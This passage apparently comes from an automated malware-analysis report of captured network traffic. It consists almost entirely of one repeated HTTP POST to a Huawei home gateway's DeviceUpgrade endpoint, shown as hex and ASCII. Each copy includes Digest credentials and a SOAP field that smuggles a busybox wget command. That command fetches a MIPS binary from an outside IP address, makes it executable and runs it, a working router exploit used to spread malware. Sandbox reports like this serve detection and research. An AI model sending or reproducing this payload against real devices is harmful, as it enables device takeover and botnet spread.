2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 